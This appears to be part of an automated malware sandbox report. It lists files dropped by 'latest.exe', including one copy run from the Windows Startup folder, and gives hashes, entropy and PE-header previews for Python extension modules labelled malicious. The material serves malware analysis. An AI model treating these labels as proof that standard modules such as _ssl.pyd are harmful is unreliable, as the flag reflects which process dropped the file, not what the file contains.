Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................c)..........c)....c)....c)....c)...........c............................Rich....................PE..d......f.........." ...(.b...........d.......................................p............`.............................................\...,........P.......0...............`.........................................@...............x............................text...Xa.......b.................. ..`.rdata..Jp.......r...f..............@..@.data...0$..........................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:	6144:sz5QLUL4lK9bQkMZ/jZMaBHX7vu3XSAU128zkpWCucchvkf8HpbUPAKjgCX3GRx:szb4lK9ckWBHXKSA584ENcyv6sUPAKg
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:	12288:sL1TGmvt0Vwyow0k1rErgw25rXLzydh8K35sWGu:s5lvt0Vw9fk1rErV25rPY8K
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imaging.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2386432
Entropy (8bit):	6.458824340834286
Encrypted:	false
SSDEEP:	49152:aoPTrlqtAyK7DhgHpHtxqqmLrLrLrLK2QF81:7MK7Du1
MD5:	B88D368220A61DC02E2C9B9C9F3DBF86
SHA1:	2CE7549208C910D53D8566DD8F2C951F755FD98E
SHA-256:	0EA6C51C6700B9E7BDB45ED63201F974B4C6E5936BDEEED370C49B6DCD5821FD
SHA-512:	734C65496AB5F9E574E863667C5306EFB2C13151DAD35E9E93603CD06C4DC25CB4897BC3FF0141FAC7111E244B58AEF6766F376F8057935C4871B393CDF32B7B
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......3@.5w!.fw!.fw!.f~Y.fg!.f8].gu!.f8]ufs!.f8].gy!.f8].g.!.f8].gs!.f.].gu!.f<Y.gp!.fw!.fs .f.].g.!.fw!.fl!.f.].g=!.f.].gv!.f.]wfv!.f.].gv!.fRichw!.f........................PE..d...x.'d.........." ...".0...h......L.........................................$...........`.........................................@.".`.....".......$.......#...............$.l.....!.......................!.(...`.!.@............@...............................text............0.................. ..`.rdata.......@.......4..............@..@.data.........#..^....#.............@....pdata........#......`#.............@..@.rsrc.........$......R$.............@..@.reloc..l.....$......T$.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imagingcms.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.2744632895698755
Encrypted:	false
SSDEEP:	6144:3GPp77fRSOs1HNY3AklPRI7Odh0wXLg9uP1+74/LgHmPr9qvZqhLanLTLzLfqeqg:3GB77pSn7vQh0wXLg9uP1+74/LgHmPrK
MD5:	54BFD1D6A3DEE85A103657DA98DF6562
SHA1:	062F9C020179846F2CFB85DD5CB7472C04B2823B
SHA-256:	B2820965631C4081BAC0BD5953A08F0BFA84AB057E6239A0AA719237FB6E316F
SHA-512:	421B11DBD31DF99E2C0F588335E5D114C10B650405DD9039AC765ADCC5308D4FB0271607B277D142DA94F79D988F4B97AFAFC1808B03402BB3E3883E403B66E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........rx..+..+..+..+...+.....+......+......+......+5....+......+..+...+4....+4....+4..+..+4..*..+Rich..+................PE..d...g.'d.........." ..."..... ......\........................................ ............`.........................................py..h....y..................\....................?..............................`>..@...............p............................text............................... ..`.rdata..N...........................@..@.data....>.......8...z..............@....pdata..\........0..................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_webp.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	530432
Entropy (8bit):	6.579935315094317
Encrypted:	false
SSDEEP:	12288:/wfj8PoAtpyT3bT9IMSFLrLrLrLWzxyOjD9i5qWJTL:/1oAfegFLrLrLrLWzcs9eqWJ
MD5:	FC18D07212FA0FED8035EA1CE7472344
SHA1:	1B74D9880DEEBF28EC46FE5C60600A8912CB6459
SHA-256:	46CE0E78D47CE623DF967E0F52684BEA90AB3BE3AB551EC41AB858DFA7E34E6E
SHA-512:	9AD5436B5FE6730519D9980B701E4B2A11BCE9C1B0DD1E76D1B59553A59B9A44FE9C0FF2E4847978E3243B336E227F42CA34D57D750F4DEBDE1A5A9866A956DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oM5.+,[.+,[.+,[."T..!,[.dPZ.),[.`TZ.),[.dP^.&,[.dP_.#,[.dPX./,[..PZ.(,[.+,Z.x,[..P_.},[..PS.,[..P[.,[..P..,[..PY.,[.Rich+,[.................PE..d...g.'d.........." ...".................................................................`.............................................\...<........p....... ...L...................V...............................U..@............................................text...x........................... ..`.rdata..$...........................@..@.data....2..........................@....pdata...L... ...N..................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71448
Entropy (8bit):	6.280004093581335
Encrypted:	false
SSDEEP:	1536:5VrJQiOU7v3gWTgI9PBgT5NIMOn27SyBxEU:55JQiOU7/g8L9PBSNIMOn2CU
MD5:	90A38A8271379A371A2A4C580E9CD97D
SHA1:	3FDE48214FD606114D7DF72921CF66EF84BC04C5
SHA-256:	3B46FA8F966288EAD65465468C8E300B9179F5D7B39AA25D7231FF3702CA7887
SHA-512:	3BDE0B274F959D201F7820E3C01896C24E4909348C0BC748ADE68610A13A4D1E980C50DAB33466469CDD19EB90915B45593FAAB6C3609AE3F616951089DE1FDC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...Qb.f.........." ...(.f................................................... ............`.............................................P......d......................../..............T...........................P...@...............(............................text....e.......f.................. ..`.rdata...O.......P...j..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_brotli.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138659353006937
Encrypted:	false
SSDEEP:	3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5:	5377AB365C86BBCDD998580A79BE28B4
SHA1:	B0A6342DF76C4DA5B1E28A036025E274BE322B35
SHA-256:	6C5F31BEF3FDBFF31BEAC0B1A477BE880DDA61346D859CF34CA93B9291594D93
SHA-512:	56F28D431093B9F08606D09B84A392DE7BA390E66B7DEF469B84A21BFC648B2DE3839B2EEE4FB846BBF8BB6BA505F9D720CCB6BB1A723E78E8E8B59AB940AC26
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d...eb.f.........." ...(............`_..............................................-.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_elementtree.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133400
Entropy (8bit):	6.439751874803727
Encrypted:	false
SSDEEP:	3072:06BeITMrw455bcDfGgfQTd/KXWAW9Va2CwNRJ03FIM6fVF8:09ITMUibcDfD+VYM3/CwNRJ03D
MD5:	D20E0888B180C980E54B9E74DB901C26
SHA1:	C1EA58DD9C475F1FD5E89BE2088C7EA0D38EFCCE
SHA-256:	798E8DDFC45495C26593A0550554E32A62CBDD9DA5556E25DA7231A0BF8FD274
SHA-512:	FBF27FC1021D7954C653CAC702121E46D39F3A6A09E5D60392334F40D589FEDA4F6714A5BAE6EBC2EF0196776A650BC8A0A5DD0A16A0E6E4F2911918443FBE79
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.0...^K..^K..^K...K..^K.r_J..^K.r]J..^K.rZJ..^K.r[J..^K.u_J..^KO._J..^K.._K..^K.uSJ..^K.u^J..^K.u.K..^K.u\J..^KRich..^K................PE..d...Xb.f.........." ...(.:..........................................................bl....`............................................X...(...x......................../......l... \..T............................Z..@............P...............................text....9.......:.................. ..`.rdata...k...P...l...>..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..l...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:	1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:	3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_multiprocessing.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35608
Entropy (8bit):	6.430939025440004
Encrypted:	false
SSDEEP:	768:I1Rp7eiajKCGnAxQ0zdu9IMWtg5YiSyvKDAMxkEp5u:gRteiaIAxQ0zI9IMWty7Syyjxto
MD5:	41EE16713672E1BFC4543E6AE7588D72
SHA1:	5FF680727935169E7BCB3991404C68FE6B2E4209
SHA-256:	2FEB0BF9658634FE8405F17C4573FEB1C300E9345D7965738BEDEB871A939E6B
SHA-512:	CB407996A42BDF8BC47CE3F4C4485E27A4C862BF543410060E9F65D63BFBA4C5A854A1F0601E9D8933C549E5459CB74CA27F3126C8CDBDE0BDD2E803390AB942
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.A)../z../z../z..z../z.$.{../z.$,{../z.$+{../z.$*{../z.#.{../z...zr./z[..{../z.#"{../z.#/{../z.#.z../z.#-{../zRich../z........PE..d...\b.f.........." ...(. ...>......@...............................................#Q....`.........................................@E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata... ...0..."...$..............@..@.data...`....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_overlapped.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56088
Entropy (8bit):	6.330844955790863
Encrypted:	false
SSDEEP:	1536:5inr44gaZPXPCJ/+yZdDDrRIMXtH7SyNx7:5ZJ/+yZdDDrRIMXtHt
MD5:	737F46E8DAC553427A823C5F0556961C
SHA1:	30796737CAEC891A5707B71CF0AD1072469DD9DE
SHA-256:	2187281A097025C03991CD8EB2C9CA416278B898BD640A8732421B91ADA607E8
SHA-512:	F0F4B9045D5328335DC5D779F7EF5CE322EAA8126EC14A84BE73EDD47EFB165F59903BFF95EB0661EBA291B4BB71474DD0B0686EDC132F2FBA305C47BB3D019F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.{X..(X..(X..(QxT(\..(...)Z..(...)[..(...)P..(...)T..(M..)Z..(X..(/..(.x.)]..(.x.)Y..(M..)Y..(M..)Y..(M.8(Y..(M..)Y..(RichX..(........PE..d...]b.f.........." ...(.N...`............................................................`.............................................X.............................../......(....f..T............................e..@............`...............................text...7L.......N.................. ..`.rdata...8...`...:...R..............@..@.data...0...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:	768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:	1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.262455715174875
Encrypted:	false
SSDEEP:	3072:6WdTrLGXVx7Qt+HEGFCO4w5yirrPrrrrrrbEOyfgv/pWwb8NIMOQI3:zAVxMt7pC5TrWgHos8e
MD5:	64417C2CCD84392880B417E8A9F7A4BC
SHA1:	88C6139471737B14D4161C010B10AD9615766DBB
SHA-256:	FDEACC2AFF71FE21D7A0DE0603388299FA203C2692FDBDB3709F1BC4CC9CDC0E
SHA-512:	05163D678F18EA901C5DA45F41EE25073B7834E711C2809F98DF122E6485B3979C5331709A6F48079A53931D3DBC3B569738B51736260CE1B67811C073C7EA84
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M..#..#..#.....#..1"..#..1..#..1 ..#..1'...#..1&..#..6"..#..."..#.."..#..6....#..6#..#..6..#..6!..#.Rich.#.........................PE..d....b.f.........." ...(.................................................................`.........................................@o..P....o..................D......../.......... ...T...............................@............................................text...X........................... ..`.rdata..b...........................@..@.data................~..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:	3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_uuid.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25880
Entropy (8bit):	6.592919849955951
Encrypted:	false
SSDEEP:	384:maxIcRiAWVIMZwbTHQIYiSy1pCQm9Y+pAM+o/8E9VF0Ny7yYV:ScR3WVIMZwn5YiSyvXMAMxkE8YV
MD5:	D8C6D60EA44694015BA6123FF75BD38D
SHA1:	813DEB632F3F3747FE39C5B8EF67BADA91184F62
SHA-256:	8AE23BFA84CE64C3240C61BEDB06172BFD76BE2AD30788D4499CB24047FCE09F
SHA-512:	D3D408C79E291ED56CA3135B5043E555E53B70DFF45964C8C8D7FFA92B27C6CDEA1E717087B79159181F1258F9613FE6D05E3867D9C944F43A980B5BF27A75AB
Malicious:	true
